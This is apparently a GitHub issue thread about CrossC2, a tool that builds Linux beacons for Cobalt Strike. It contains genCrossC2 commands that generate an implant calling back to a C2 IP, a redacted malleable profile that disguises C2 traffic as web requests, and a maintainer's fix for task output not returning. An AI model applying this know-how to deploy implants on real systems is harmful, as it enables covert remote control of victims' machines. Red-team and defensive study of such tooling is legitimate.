linux beacon keeps reaching out for "/load"
hi , first of all, this is an awesome project great work
my issue is , whenever i try to generate a beacon, the generated beacon once executed keeps trying to reach out for http://my_c2_ip/load which doesn't exist
am i doing something wrong, how to generate the load script/binary the beacon reaching out for
i tried this by generating the beacon from the gui and the cli manually both do the same
thanks in advance.
The built-in c2profile of cs sets the communication uri to /load, so when cs is modified or an external c2profile is used, an error will occur when requesting this address.
The corresponding profile must be specified when generating, and it will be parsed to the correct uri.
genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> ...
genCrossC2 1.1.1.1 443 key ";;c2profile.profile" ...
genCrossC2 1.1.1.1 443 key ";;c2profile.profile@linux_section" ...
If it is a modified cs, you need to decompress the cs, extract the built-in profile from resources/default.profile, and then specify it when generating
what i understood is that i need to specify my custom c2profile that cobalt is loaded with but when i did so it hangs like this
thank you for the fast response
this is my directory structure
this is the command im using ./genCrossC2.Linux 10.10.10.9 443 ';;c2profile.profile' null null Linux x64 linux_beacon
i did not put CrossC2 in the server directory just for reference
this is the command im using
./genCrossC2.Linux 10.10.10.9 443 ';;c2profile.profile' null null Linux x64 linux_beacon
./genCrossC2.Linux 10.10.10.9 443 null ';;c2profile.profile' Linux x64 ./linux_beacon
i gave it 30 minutes , nothing happened , does it need a specific dependency?
on the contrary , i did not see the mips option for payload generation is there a cna for that ? routers and stuff
It seems that it hangs when parsing the profile. Normally it should be generated immediately without waiting too much.
Could you please provide your profile? You can replace all key data such as uri, header, etc. with "xxx..." and keep the general file structure to facilitate analysis of what caused the parsing exception.
on the contrary , i did not see the mips option for payload generation is there a cna for that ? routers and stuff
MIPS/ARM/AARCH64... is not available yet, and will be considered for push in other subsequent versions.
http-config {
set trust_x_forwarded_for "true";
}
http-get {
set uri "/xxx/xxx/";
client {
header "Host" "www.xxx.com";
header "Accept" "xxxxxxxA";
header "Cookie" "xxxxxC";
metadata {
base64url;
parameter "xxxq";
}
parameter "xxa" "xxxxa";
parameter "xxb" "xxxxb";
parameter "xxf" "xxxxf";
}
server {
header "Cache-Control" "xxxxx";
header "Content-Type" "xxxxxx";
header "Vary" "xxxxxx";
header "Server" "xxxxxx";
header "Connection" "close";
output {
netbios;
prepend "xxxxxx\"web\",P:\"SERP[aaaa";
append "xxxxxx=\"/fd/ls/l?IG=\"+aaaaG=";
print;
}
}
}
http-post {
set uri "/xxx/xxx/";
set verb "GET";
client {
header "Host" "www.xxx.com";
header "Accept" "xxxxxxxA";
header "Cookie" "xxxxxC";
output {
base64url;
parameter "xxxxq";
}
parameter "xxa" "xxxxa";
parameter "xxb" "xxxxb";
id {
base64url;
parameter "form";
}
}
server {
header "Cache-Control" "xxxxx";
header "Content-Type" "xxxxxx";
header "Vary" "xxxxxx";
header "Server" "xxxxxx";
header "Connection" "close";
output {
netbios;
prepend "xxxxxx\"web\",P:\"SERP[aaaa";
append "xxxxxx=\"/fd/ls/l?IG=\"+aaaaG=";
print;
}
}
}
http-stager {
server {
header "Cache-Control" "xxxxx";
header "Content-Type" "xxxxxxx";
header "Vary" "xxxxx";
header "Server" "xxxxxxx";
header "Connection" "close";
}
}
the exe/memory malleable sections are ommitted , like stage, transformations, process-inject , api call replacements , etc
i thought they are irrelevant , if you need them please let me know
the exe/memory malleable sections are ommitted , like stage, transformations, process-inject , api call replacements , etc
The above content runs normally on my side, and the file is basically generated quickly.
You can also do the same test
If it runs normally, the problem may occur in the data before desensitization, and you may need to spend time testing each field yourself.
If it still hangs, then I guess it may be caused by the system environment (system performance? Or the impact of the Java environment?). It is recommended to conduct the same test in another environment.
same here as well , trying with the full profile i use with windows beacons with the memory and stuff didn't work but the only http part above did
omitting every other (wiindows-memory related) section of the profile leaving only http worked
note: i loaded teamserver with the full profile and generated the linux beacon with only http communication section
edit: data from commands don't get returned properly , but we are of to a good start
I understand. It seems that the problem does occur in the parsing of the c2profile. It is speculated that it may be some newly added configurations in 4.9.1, which affects the normal parsing.
It seems that we need to continuously delete fields in the profile to test the affected fields.
If possible, I hope you can do a short fuzz to locate the impact point of this problem and let me know (😃
Or if you feel that the workload is heavy and there is no sensitive data in the profile, you can upload a complete content to facilitate my analysis.
do you have a discord?
btw , i tried with no profile and output was returning fine
btw , i tried with no profile and output was returning fine
there is indeed a problem with profile parsing
the problem of no echo of task execution results has been located. It is because the output result is set to the http header (uri/header) instead of the body, which causes the parser to be unable to process the data correctly.
http-post {
output {
base64url;
parameter "q"; <------ this
}
}
as a result, the delivered task was completed normally, but after the execution was completed, the execution results were not sent to the server correctly.
before the bug is fixed, temporarily modify the post content to ensure that the profile is normally available.
http-post {
output {
base64url;
...
prepend "...";
...
append "...";
print; <------- fix
}
}